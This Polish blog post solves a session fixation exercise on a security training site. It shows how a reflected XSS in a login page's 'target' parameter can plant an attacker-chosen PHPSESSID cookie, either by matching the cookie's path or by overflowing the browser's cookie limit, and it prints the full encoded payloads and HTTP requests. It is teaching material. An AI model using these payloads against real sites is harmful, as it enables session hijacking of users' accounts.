Session Fixation: rozwiązanie

Przykład z session fixation nie jest tak ciekawy, jak ten z XSS przygotowany przez Krzyśka. Jego rozwiązanie jest dość proste – na formatce logowania jest XSS w parametrze target , który musi zostać przekazany w GET. A skoro jest XSS, to w zasadzie zadanie jest już rozwiązane. Prawie.

Prawie. Przeglądarki nie chronią cookies przed nadpisaniem. Można je nadpisać nawet wtedy, gdy są one oznaczane flagami typu httpOnly czy secure. Temat ten dość dobrze jest opisany w Browser Security Handbook w rozdziale Same Origin Policy for Cookies.

Nowe cookie o znanej wartości można ustawić na dwa sposoby. To znaczy sposobów jest więcej, ale są co najmniej dwa sposoby na nadpisanie tego jednego konkretnego punktu:

Każde cookie jest ustawiane z dodatkowymi parametrami, między innymi:

By nowe cookie nadpisało to już istniejące, zgadzać się muszą:

Jeśli zgadza się tylko nazwa, przeglądarka zaakceptuje kolejne cookie o tej samej nazwie. A które cookie będzie wysłane do serwera? To zależy, ale najczęściej – oba. Różna może być również kolejność w jakiej są one wysyłane do serwera, serwer użyje tego cookie, które mu pasuje. Tu mam takie luźne skojarzenie z HTTP Parameter Pollution.

By rozwiązać problem z “dodawaniem” nowego cookie, wystarczy przy document.cookie ustawić dokładnie takie same parametry, jak użyte są przy oryginalnym cookie.

Jest też inna, również ciekawa metoda. Na czym ona polega? Przeglądarki, przynajmniej większość z nich, mają limit na ilość cookies dla określonej domeny. Jeśli wartość ta zostaje przekroczona, najstarsze ciastka zostają “gubione”. Wystarczy więc ustawić kilkadziesiąt ciastek o losowych nazwach i na końcu ponownie ustawić PHPSESSID. Ponieważ “poprzednie” cookie zostało zgubione, przeglądarka wyśle to nowe.

Całość może wyglądać tak:

Przyjrzyjmy się jak to wygląda w praktyce. W pierwszym przypadku sekwencja (żądania) wygląda mniej więcej tak:

GET http://bootcamp.threats.pl/lesson21/?target=%2522%253E%253Cscript%253Edocument.cookie=%2522PHPSESSID=fixated;%2520path=/%2522%253C/script%253E%253Cbr%2520foo=%2522 HTTP/1.1 Host: bootcamp.threats.pl Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.3

Na to żądanie serwer odpowiada ustawiając identyfikator sesji:

HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Content-Type: text/html Date: Mon, 18 Oct 2010 20:13:04 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: IdeaWebServer/v0.70 Set-Cookie: PHPSESSID=1d3ca2b3d279571933d9ceeb403bc17f; path=/ X-Powered-By: PHP/5.2.14

Okazuje się jednak, że payload osadzony w XSS spełnił swoje zadanie, bo przy próbie uwierzytelnienia wysyłane jest już inne cookie:

POST http://bootcamp.threats.pl/lesson21/?target=%2522%253E%253Cscript%253Edocument.cookie=%2522PHPSESSID=fixated;%2520path=/%2522%253C/script%253E%253Cbr%2520foo=%2522 HTTP/1.1 Host: bootcamp.threats.pl Connection: keep-alive Referer: http://bootcamp.threats.pl/lesson21/?target=%2522%253E%253Cscript%253Edocument.cookie=%2522PHPSESSID=fixated;%2520path=/%2522%253C/script%253E%253Cbr%2520foo=%2522 Content-Length: 32 Cache-Control: max-age=0 Origin: http://bootcamp.threats.pl Content-Type: application/x-www-form-urlencoded Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=fixated

login=test&password=test&target=

W przypadku drugiego przykładu ograniczę się do samego ostatniego żądania wysyłanego przez przeglądarkę. Wygląda ono tak:

POST http://bootcamp.threats.pl/lesson21/?target=%2522%253e%253cscript%253efor+(i%253d0%253bi%253c100%253bi%252b%252b)+%257bdocument.cookie%253d%2522PADDING%2522%252bi%252b%2522%253dpadding%2522%253b%257d+document.cookie%253d%2522PHPSESSID%253dfixated%2522%253b%253c%252fscript%253e%253cbr+foo%253d%2522 HTTP/1.1 Host: bootcamp.threats.pl Connection: keep-alive Referer: http://bootcamp.threats.pl/lesson21/?target=%2522%253e%253cscript%253efor+(i%253d0%253bi%253c100%253bi%252b%252b)+%257bdocument.cookie%253d%2522PADDING%2522%252bi%252b%2522%253dpadding%2522%253b%257d+document.cookie%253d%2522PHPSESSID%253dfixated%2522%253b%253c%252fscript%253e%253cbr+foo%253d%2522 Content-Length: 32 Cache-Control: max-age=0 Origin: http://bootcamp.threats.pl Content-Type: application/x-www-form-urlencoded Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4 Accept-Charset: ISO-8859-2,utf-8;q=0.7;*;q=0.3 Cookie: PADDING41=padding; PADDING42=padding; PADDING43=padding; PADDING44=padding; PADDING45=padding; PADDING46=padding; PADDING47=padding; PADDING48=padding; PADDING49=padding; PADDING50=padding; PADDING51=padding; PADDING52=padding; PADDING53=padding; PADDING54=padding; PADDING55=padding; PADDING56=padding; PADDING57=padding; PADDING58=padding; PADDING59=padding; PADDING60=padding; PADDING61=padding; PADDING62=padding; PADDING63=padding; PADDING64=padding; PADDING65=padding; PADDING66=padding; PADDING67=padding; PADDING68=padding; PADDING69=padding; PADDING70=padding; PADDING71=padding; PADDING72=padding; PADDING73=padding; PADDING74=padding; PADDING75=padding; PADDING76=padding; PADDING77=padding; PADDING78=padding; PADDING79=padding; PADDING80=padding; PADDING81=padding; PADDING82=padding; PADDING83=padding; PADDING84=padding; PADDING85=padding; PADDING86=padding; PADDING87=padding; PADDING88=padding; PADDING89=padding; PADDING90=padding; PADDING91=padding; PADDING92=padding; PADDING93=padding; PADDING94=padding; PADDING95=padding; PADDING96=padding; PADDING97=padding; PADDING98=padding; PADDING99=padding; PHPSESSID=fixated

login=test&password=test&target=

Jak prawie widać, przeglądarka wysyła serię cookies “wypełniaczy” i na końcu wysyła ustawione przez atakującego cookie PHPSESSID.

W ramach ciekawostki można sobie sprawdzić jak poszczególne przeglądarki zachowają się przy adresach (linkach) tej postaci. Chodzi mi tu przede wszystkim o wbudowaną w przeglądarki (lub dodawaną poprzez rozszerzenia) funkcję ochrony przed cross-site scripting.

Oryginał tego wpisu dostępny jest pod adresem Session Fixation: rozwiązanie

Autor: Paweł Goleń